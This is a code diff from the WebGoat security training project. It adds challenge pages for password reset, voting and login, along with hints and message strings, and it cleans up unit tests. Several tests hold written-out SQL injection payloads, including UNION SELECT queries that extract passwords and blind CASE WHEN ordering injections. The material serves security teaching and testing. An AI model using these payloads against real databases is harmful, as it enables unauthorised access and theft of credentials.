||||
</html>
|
@ -0,0 +1,109 @@
|
||||
<!DOCTYPE html>
|
||||
<html xmlns:th="http://www.thymeleaf.org">
|
||||
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:Challenge_9.adoc"></div>
|
||||
<script th:src="@{/lesson_js/challenge9.js}" language="JavaScript"></script>
|
||||
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
|
||||
<div class="container-fluid">
|
||||
<div class="row">
|
||||
<div class="col-md-6">
|
||||
<h4 style="border-bottom: 1px solid #c5c5c5;">
|
||||
<i class="glyphicon glyphicon-user"></i>
|
||||
Account Access
|
||||
</h4>
|
||||
<div style="padding: 20px;" id="form-login">
|
||||
<form id="login-form" class="attack-form" accept-charset="UNKNOWN"
|
||||
method="POST" name="form"
|
||||
action="/WebGoat/challenge/9/login"
|
||||
enctype="application/json;charset=UTF-8" role="form">
|
||||
<fieldset>
|
||||
<div class="form-group input-group">
|
||||
<span class="input-group-addon"> @ </span>
|
||||
<input class="form-control" placeholder="Email" name="email" type="email"
|
||||
required="" autofocus=""/>
|
||||
</div>
|
||||
<div class="form-group input-group">
|
||||
<span class="input-group-addon">
|
||||
<i class="glyphicon glyphicon-lock">
|
||||
</i>
|
||||
</span>
|
||||
<input class="form-control" placeholder="Password" name="password" type="password"
|
||||
value="" required=""/>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<button type="submit" class="btn btn-primary btn-block">
|
||||
Access
|
||||
</button>
|
||||
<p class="help-block">
|
||||
<a class="pull-right text-muted" href="#" id="login">
|
||||
<small>Forgot your password?</small>
|
||||
</a>
|
||||
</p>
|
||||
</div>
|
||||
</fieldset>
|
||||
</form>
|
||||
</div>
|
||||
<div style="display: none;" id="form-login">
|
||||
<h4 class="">
|
||||
Forgot your password?
|
||||
</h4>
|
||||
<form id="login-form" class="attack-form" accept-charset="UNKNOWN"
|
||||
method="POST" name="form"
|
||||
action="/WebGoat/challenge/9/create-password-reset-link"
|
||||
enctype="application/json;charset=UTF-8" role="form">
|
||||
<fieldset>
|
||||
<span class="help-block">
|
||||
Email address you use to log in to your account
|
||||
<br/>
|
||||
We'll send you an email with instructions to choose a new password.
|
||||
</span>
|
||||
<div class="form-group input-group">
|
||||
<span class="input-group-addon">
|
||||
@
|
||||
</span>
|
||||
<input class="form-control" placeholder="Email" name="email" type="email"
|
||||
required=""/>
|
||||
</div>
|
||||
<button type="submit" class="btn btn-primary btn-block" id="btn-login">
|
||||
Continue
|
||||
</button>
|
||||
<p class="help-block">
|
||||
<a class="text-muted" href="#" id="forgot">
|
||||
<small>Account Access</small>
|
||||
</a>
|
||||
</p>
|
||||
</fieldset>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<br/>
|
||||
<form class="attack-form" method="POST" name="form" action="/WebGoat/challenge/flag">
|
||||
<div class="form-group">
|
||||
<div class="input-group">
|
||||
<div class="input-group-addon"><i class="fa fa-flag-checkered" aria-hidden="true"
|
||||
style="font-size:20px"></i></div>
|
||||
<input type="text" class="form-control" id="flag" name="flag"
|
||||
placeholder="a7179f89-906b-4fec-9d99-f15b796e7208"/>
|
||||
</div>
|
||||
<div class="input-group" style="margin-top: 10px">
|
||||
<button type="submit" class="btn btn-primary">Submit flag</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</form>
|
||||
|
||||
<br/>
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</html>
|
@ -5,8 +5,13 @@ challenge3.title=Photo comments
|
||||
challenge4.title=Voting
|
||||
challenge5.title=Without password
|
||||
challenge6.title=Creating a new account
|
||||
challenge7.title=Admin password reset
|
||||
challenge8.title=Without account
|
||||
challenge9.title=Changing password
|
||||
challenge.solved=Congratulations, you solved the challenge. Here is your flag: {0}
|
||||
challenge.close=This is not the correct password for tom, please try again.
|
||||
challenge.close=This is not the correct password for Larry, please try again.
|
||||
|
||||
email.send=An e-mail has been send to {0}
|
||||
|
||||
user.exists=User {0} already exists please try to register with a different username.
|
||||
user.created=User {0} created, please proceed to the login page.
|
||||
@ -15,4 +20,10 @@ input.invalid=Input for user, email and/or password is empty or too long, please
|
||||
challenge.flag.correct=Congratulations you have solved the challenge!!
|
||||
challenge.flag.incorrect=Sorry this is not the correct flag, please try again.
|
||||
|
||||
ip.address.unknown=IP address unknown, e-mail has been sent.
|
||||
ip.address.unknown=IP address unknown, e-mail has been sent.
|
||||
|
||||
login_failed=Login failed
|
||||
login_failed.tom=Sorry only Tom can login at the moment
|
||||
|
||||
required4=Missing username or password, please specify both.
|
||||
user.not.larry=Please try to log in as Larry not {0}.
|
After Width: | Height: | Size: 40 KiB |
BIN
webgoat-lessons/challenge/src/main/resources/images/user1.png
Normal file
After Width: | Height: | Size: 1.5 KiB |
BIN
webgoat-lessons/challenge/src/main/resources/images/user2.png
Normal file
After Width: | Height: | Size: 1.7 KiB |
BIN
webgoat-lessons/challenge/src/main/resources/images/user3.png
Normal file
After Width: | Height: | Size: 2.0 KiB |
@ -0,0 +1,57 @@
|
||||
$(document).ready(function () {
|
||||
loadVotes();
|
||||
average();
|
||||
})
|
||||
|
||||
function loadVotes() {
|
||||
$.get("challenge/8/votes/", function (votes) {
|
||||
var totalVotes = 0;
|
||||
for (var i = 1; i <= 5; i++) {
|
||||
totalVotes = totalVotes + votes[i];
|
||||
}
|
||||
console.log(totalVotes);
|
||||
for (var i = 1; i <= 5; i++) {
|
||||
var percent = votes[i] * 100 / totalVotes;
|
||||
console.log(percent);
|
||||
var progressBar = $('#progressBar' + i);
|
||||
progressBar.width(Math.round(percent) * 2 + '%');
|
||||
$("#nrOfVotes" + i).html(votes[i]);
|
||||
|
||||
}
|
||||
}
|
||||
);
|
||||
}
|
||||
|
||||
function average() {
|
||||
$.get("challenge/8/votes/average", function (average) {
|
||||
for (var i = 1; i <= 5; i++) {
|
||||
var number = average["average"];
|
||||
$("#star" + i).removeClass('btn-warning');
|
||||
$("#star" + i).removeClass('btn-default');
|
||||
$("#star" + i).removeClass('btn-grey');
|
||||
|
||||
if (i <= number) {
|
||||
$("#star" + i).addClass('btn-warning');
|
||||
} else {
|
||||
$("#star" + i).addClass('btn-grey');
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
function doVote(stars) {
|
||||
$("#voteResultMsg").hide();
|
||||
$.get("challenge/8/vote/" + stars, function (result) {
|
||||
if (result["error"]) {
|
||||
$("#voteResultMsg").addClass('alert-danger alert-dismissable');
|
||||
} else {
|
||||
$("#voteResultMsg").addClass('alert-success alert-dismissable');
|
||||
}
|
||||
$("#voteResultMsg").html(result["message"]);
|
||||
$("#voteResultMsg").show();
|
||||
})
|
||||
loadVotes();
|
||||
average();
|
||||
}
|
@ -0,0 +1,10 @@
|
||||
$(document).ready(function() {
|
||||
$('#login').click(function(e) {
|
||||
e.preventDefault();
|
||||
$('div#form-login').toggle('500');
|
||||
});
|
||||
$('#forgot').click(function(e) {
|
||||
e.preventDefault();
|
||||
$('div#form-login').toggle('500');
|
||||
});
|
||||
});
|
@ -0,0 +1 @@
|
||||
Try to reset the password for admin.
|
@ -0,0 +1 @@
|
||||
Can you still vote?
|
@ -0,0 +1,3 @@
|
||||
Tom always resets his password immediately after receiving the email with the link.
|
||||
Try to reset the password of Tom (tom@webgoat-cloud.org) to your own choice and login as Tom with
|
||||
that password.
|
@ -0,0 +1,19 @@
|
||||
<!DOCTYPE html>
|
||||
<html xmlns:th="http://www.thymeleaf.org">
|
||||
<head>
|
||||
<link rel="stylesheet" type="text/css" th:href="@{/plugins/bootstrap/css/bootstrap.min.css}"/>
|
||||
<link rel="stylesheet" type="text/css" th:href="@{/css/font-awesome.min.css}"/>
|
||||
<script th:src="@{/plugins/bootstrap/js/bootstrap.min.js}"/>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div class="container-fluid">
|
||||
<div class="row">
|
||||
<div class="alert alert-danger">
|
||||
<h4>Password reset link is not valid please try again.</h4>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
@ -0,0 +1,48 @@
|
||||
<!DOCTYPE html>
|
||||
<html xmlns:th="http://www.thymeleaf.org">
|
||||
<head>
|
||||
<link rel="stylesheet" type="text/css" th:href="@{/plugins/bootstrap/css/bootstrap.min.css}"/>
|
||||
<link rel="stylesheet" type="text/css" th:href="@{/css/font-awesome.min.css}"/>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-xs-12 col-sm-8 col-md-6 col-sm-offset-2 col-md-offset-3">
|
||||
<form role="form" method="POST" action="/WebGoat/challenge/9/change-password" th:object="${form}">
|
||||
<h2 class="sign_up_title">Reset your password</h2>
|
||||
<!--<div class="form-group" th:classappend="${#fields.hasErrors('email')}? 'has-error'">-->
|
||||
<!--<div class="form-group">-->
|
||||
<!--<label for="email" class="control-label">Email</label>-->
|
||||
<!--<input autofocus="dummy_for_thymeleaf_parser" type="text" class="form-control"-->
|
||||
<!--th:field="*{email}"-->
|
||||
<!--id="email" placeholder="email" name='email'/>-->
|
||||
<!--<span th:if="${#fields.hasErrors('email')}" th:errors="*{email}">Email error</span>-->
|
||||
<!--</div>-->
|
||||
<div class="form-group" th:classappend="${#fields.hasErrors('password')}? 'has-error'">
|
||||
<input type="hidden" name="resetLink" th:field="*{resetLink}" />
|
||||
<label for="password" class="control-label" th:text="#{password}">Password</label>
|
||||
<input type="password" class="form-control" id="password" placeholder="Password"
|
||||
name='password' th:value="*{password}"/>
|
||||
<span th:if="${#fields.hasErrors('password')}" th:errors="*{password}">Password error</span>
|
||||
</div>
|
||||
|
||||
<!---->
|
||||
<!--<div class="form-group">-->
|
||||
<!--<input type="email" required="" autofocus="" name="email" id="email" class="form-control input-lg" placeholder="Email"-->
|
||||
<!--tabindex="4"/>-->
|
||||
<!--<input type="newPassword" required="" autofocus="" name="newPassword" id="newPassword" class="form-control input-lg" placeholder="New password"-->
|
||||
<!--tabindex="4"/>-->
|
||||
<!--</div>-->
|
||||
<div class="row">
|
||||
<div class="col-xs-12 col-md-12">
|
||||
<button type="submit" class="btn btn-success btn-block btn-lg">Save</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
@ -0,0 +1,19 @@
|
||||
<!DOCTYPE html>
|
||||
<html xmlns:th="http://www.thymeleaf.org">
|
||||
<head>
|
||||
<link rel="stylesheet" type="text/css" th:href="@{/plugins/bootstrap/css/bootstrap.min.css}"/>
|
||||
<link rel="stylesheet" type="text/css" th:href="@{/css/font-awesome.min.css}"/>
|
||||
<script th:src="@{/plugins/bootstrap/js/bootstrap.min.js}"/>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div class="container-fluid">
|
||||
<div class="row">
|
||||
<div class="alert alert-success">
|
||||
<h4>Password changed successfully, please login again with your new password</h4>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
@ -7,7 +7,6 @@ import org.junit.runner.RunWith;
|
||||
import org.mockito.runners.MockitoJUnitRunner;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
|
||||
|
||||
import static org.hamcrest.Matchers.is;
|
||||
import static org.owasp.webgoat.plugin.SolutionConstants.SUPER_COUPON_CODE;
|
||||
@ -39,7 +38,6 @@ public class ShopEndpointTest {
|
||||
@Test
|
||||
public void getCoupon() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/challenge-store/coupons/webgoat"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(jsonPath("$.code", CoreMatchers.is("webgoat")))
|
||||
.andExpect(jsonPath("$.discount", CoreMatchers.is(25)));
|
||||
}
|
||||
|
@ -9,7 +9,6 @@ import org.owasp.webgoat.plugin.Flag;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.test.web.servlet.MvcResult;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
|
||||
|
||||
import javax.servlet.http.Cookie;
|
||||
|
||||
@ -97,7 +96,6 @@ public class VotesEndpointTest {
|
||||
.cookie(mvcResult.getResponse().getCookie("access_token")));
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/votings/")
|
||||
.cookie(mvcResult.getResponse().getCookie("access_token")))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(jsonPath("$..[?(@.title == 'Get it for free')].numberOfVotes", CoreMatchers.hasItem(20001)));
|
||||
}
|
||||
|
||||
|
@ -34,12 +34,11 @@ import org.owasp.webgoat.assignments.AssignmentEndpointTest;
|
||||
import org.owasp.webgoat.session.UserSessionData;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
|
||||
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
|
||||
import static org.mockito.Mockito.when;
|
||||
|
||||
|
||||
@RunWith(MockitoJUnitRunner.class)
|
||||
@ -64,7 +63,7 @@ public class DOMCrossSiteScriptingTest extends AssignmentEndpointTest {
|
||||
.header("webgoat-requested-by","dom-xss-vuln")
|
||||
.param("param1", "42")
|
||||
.param("param2", "24"))
|
||||
.andExpect(status().isOk()).andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.output", CoreMatchers.containsString("phoneHome Response is " + randVal)))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
||||
}
|
||||
@ -76,7 +75,7 @@ public class DOMCrossSiteScriptingTest extends AssignmentEndpointTest {
|
||||
.header("webgoat-requested-by","wrong-value")
|
||||
.param("param1", "22")
|
||||
.param("param2", "20"))
|
||||
.andExpect(status().isOk()).andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
}
|
||||
|
||||
|
@ -33,7 +33,6 @@ import org.mockito.runners.MockitoJUnitRunner;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpointTest;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
|
||||
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
@ -56,7 +55,7 @@ public class HttpBasicsInterceptRequestTest extends AssignmentEndpointTest {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/challenge/1")
|
||||
.header("x-request-intercepted", "true")
|
||||
.param("changeMe", "Requests are tampered easily"))
|
||||
.andExpect(status().isOk()).andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("http-proxies.intercept.success"))))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
||||
}
|
||||
@ -66,7 +65,7 @@ public class HttpBasicsInterceptRequestTest extends AssignmentEndpointTest {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/HttpProxies/intercept-request")
|
||||
.header("x-request-intercepted", "false")
|
||||
.param("changeMe", "Requests are tampered easily"))
|
||||
.andExpect(status().isOk()).andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("http-proxies.intercept.failure"))))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
}
|
||||
|
@ -6,15 +6,11 @@ import org.junit.Test;
|
||||
import org.junit.runner.RunWith;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.runners.MockitoJUnitRunner;
|
||||
import org.owasp.webgoat.lessons.AbstractLesson;
|
||||
import org.owasp.webgoat.service.HintService;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.owasp.webgoat.users.UserService;
|
||||
import org.owasp.webgoat.users.WebGoatUser;
|
||||
import org.springframework.test.util.ReflectionTestUtils;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
@ -28,10 +24,6 @@ import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standal
|
||||
public class MissingFunctionACUsersTest {
|
||||
private MockMvc mockMvc;
|
||||
@Mock
|
||||
private WebSession websession;
|
||||
@Mock
|
||||
private AbstractLesson lesson;
|
||||
@Mock
|
||||
private UserService userService;
|
||||
|
||||
@Before
|
||||
@ -46,7 +38,6 @@ public class MissingFunctionACUsersTest {
|
||||
public void TestContentTypeApplicationJSON () throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/users")
|
||||
.header("Content-type","application/json"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$[0].username", CoreMatchers.is("user1")))
|
||||
.andExpect(jsonPath("$[0].userHash",CoreMatchers.is("cplTjehjI/e5ajqTxWaXhU5NW9UotJfXj+gcbPvfWWc=")))
|
||||
|
@ -43,7 +43,7 @@ public class MissingFunctionYourHashTest extends AssignmentEndpointTest {
|
||||
public void HashDoesNotMatch() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/access-control/user-hash")
|
||||
.param("userHash", "42"))
|
||||
.andExpect(status().isOk()).andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.containsString("Keep trying, this one may take several attempts")))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
}
|
||||
@ -52,7 +52,7 @@ public class MissingFunctionYourHashTest extends AssignmentEndpointTest {
|
||||
public void hashMatches() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/access-control/user-hash")
|
||||
.param("userHash", "2340928sadfajsdalsNfwrBla="))
|
||||
.andExpect(status().isOk()).andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.containsString("Keep trying, this one may take several attempts")))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
}
|
||||
|
@ -27,6 +27,7 @@
|
||||
<module>xxe</module>
|
||||
<module>idor</module>
|
||||
<module>vulnerable-components</module>
|
||||
<module>webwolf-introduction</module>
|
||||
<module>auth-bypass</module>
|
||||
<module>missing-function-ac</module>
|
||||
<module>csrf</module>
|
||||
|
@ -84,7 +84,7 @@
|
||||
<div class="col-lg-12">
|
||||
<form id="login-form" class="attack-form" accept-charset="UNKNOWN"
|
||||
method="POST" name="form"
|
||||
action="SqlInjection/attack7"
|
||||
action="SqlInjection/challenge"
|
||||
enctype="application/json;charset=UTF-8" role="form">
|
||||
<div class="form-group">
|
||||
<input type="text" name="username_login" id="username4" tabindex="1"
|
||||
@ -120,7 +120,7 @@
|
||||
</form>
|
||||
<form id="register-form" class="attack-form" accept-charset="UNKNOWN"
|
||||
method="PUT" name="form"
|
||||
action="SqlInjection/attack7"
|
||||
action="SqlInjection/challenge"
|
||||
enctype="application/json;charset=UTF-8" style="display: none;" role="form">
|
||||
<div class="form-group">
|
||||
<input type="text" name="username_reg" id="username" tabindex="1"
|
||||
|
@ -8,7 +8,6 @@ import org.owasp.webgoat.session.WebgoatContext;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
@ -39,7 +38,7 @@ public class SqlInjectionLesson5aTest extends LessonTest {
|
||||
public void knownAccountShouldDisplayData() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5a")
|
||||
.param("account", "Smith"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("assignment.not.solved"))))
|
||||
@ -50,7 +49,7 @@ public class SqlInjectionLesson5aTest extends LessonTest {
|
||||
public void unknownAccount() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5a")
|
||||
.param("account", "Smithh"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("NoResultsMatched"))))
|
||||
@ -61,7 +60,7 @@ public class SqlInjectionLesson5aTest extends LessonTest {
|
||||
public void sqlInjection() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5a")
|
||||
.param("account", "smith' OR '1' = '1"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(true)))
|
||||
.andExpect(jsonPath("$.feedback", containsString("You have succeed")))
|
||||
@ -72,7 +71,7 @@ public class SqlInjectionLesson5aTest extends LessonTest {
|
||||
public void sqlInjectionWrongShouldDisplayError() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5a")
|
||||
.param("account", "smith' OR '1' = '1'"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.feedback", containsString(messages.getMessage("assignment.not.solved"))))
|
||||
|
@ -32,7 +32,7 @@ public class SqlInjectionLesson6aTest extends LessonTest {
|
||||
public void wrongSolution() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
|
||||
.param("userid_6a", "John"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(false)));
|
||||
}
|
||||
@ -41,7 +41,7 @@ public class SqlInjectionLesson6aTest extends LessonTest {
|
||||
public void wrongNumberOfColumns() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
|
||||
.param("userid_6a", "Smith' union select userid,user_name, password,cookie from user_system_data --"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.output", is("column number mismatch detected in rows of UNION, INTERSECT, EXCEPT, or VALUES operation")));
|
||||
@ -51,7 +51,7 @@ public class SqlInjectionLesson6aTest extends LessonTest {
|
||||
public void wrongDataTypeOfColumns() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
|
||||
.param("userid_6a", "Smith' union select 1,password, 1,'2','3', '4',1 from user_system_data --"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.output", containsString("incompatible data types in combination")));
|
||||
@ -61,7 +61,7 @@ public class SqlInjectionLesson6aTest extends LessonTest {
|
||||
public void correctSolution() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
|
||||
.param("userid_6a", "Smith' union select 1,password, '1','2','3', '4',1 from user_system_data --"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(true)))
|
||||
.andExpect(jsonPath("$.feedback", containsString("dave")));
|
||||
@ -71,7 +71,7 @@ public class SqlInjectionLesson6aTest extends LessonTest {
|
||||
public void noResultsReturned() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
|
||||
.param("userid_6a", "Smith' and 1 = 2 --"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.6a.no.results"))));
|
||||
|
@ -31,7 +31,7 @@ public class SqlInjectionLesson6bTest extends LessonTest {
|
||||
public void submitCorrectPassword() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6b")
|
||||
.param("userid_6b", "dave"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
|
||||
}
|
||||
|
||||
@ -39,7 +39,7 @@ public class SqlInjectionLesson6bTest extends LessonTest {
|
||||
public void submitWrongPassword() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6b")
|
||||
.param("userid_6b", "John"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
|
||||
}
|
||||
|
||||
|
@ -40,7 +40,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
|
||||
public void knownAccountShouldDisplayData() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||
.param("column", "id"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
|
||||
.andExpect(status().isOk());
|
||||
}
|
||||
|
||||
@ -48,7 +48,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
|
||||
public void trueShouldSortByHostname() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||
.param("column", "(case when (true) then hostname else id end)"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
|
||||
}
|
||||
@ -57,7 +57,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
|
||||
public void falseShouldSortById() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||
.param("column", "(case when (true) then hostname else id end)"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
|
||||
}
|
||||
@ -66,7 +66,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
|
||||
public void passwordIncorrectShouldOrderByHostname() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||
.param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '192.%' THEN hostname ELSE id END"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-dev")));
|
||||
}
|
||||
|
||||
@ -74,7 +74,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
|
||||
public void passwordCorrectShouldOrderByHostname() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||
.param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '104.%' THEN hostname ELSE id END"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
|
||||
}
|
||||
|
||||
@ -82,7 +82,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
|
||||
public void postingCorrectAnswerShouldPassTheLesson() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack12a")
|
||||
.param("ip", "104.130.219.202"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
|
||||
}
|
||||
|
||||
@ -90,7 +90,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
|
||||
public void postingWrongAnswerShouldNotPassTheLesson() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack12a")
|
||||
.param("ip", "192.168.219.202"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
|
||||
}
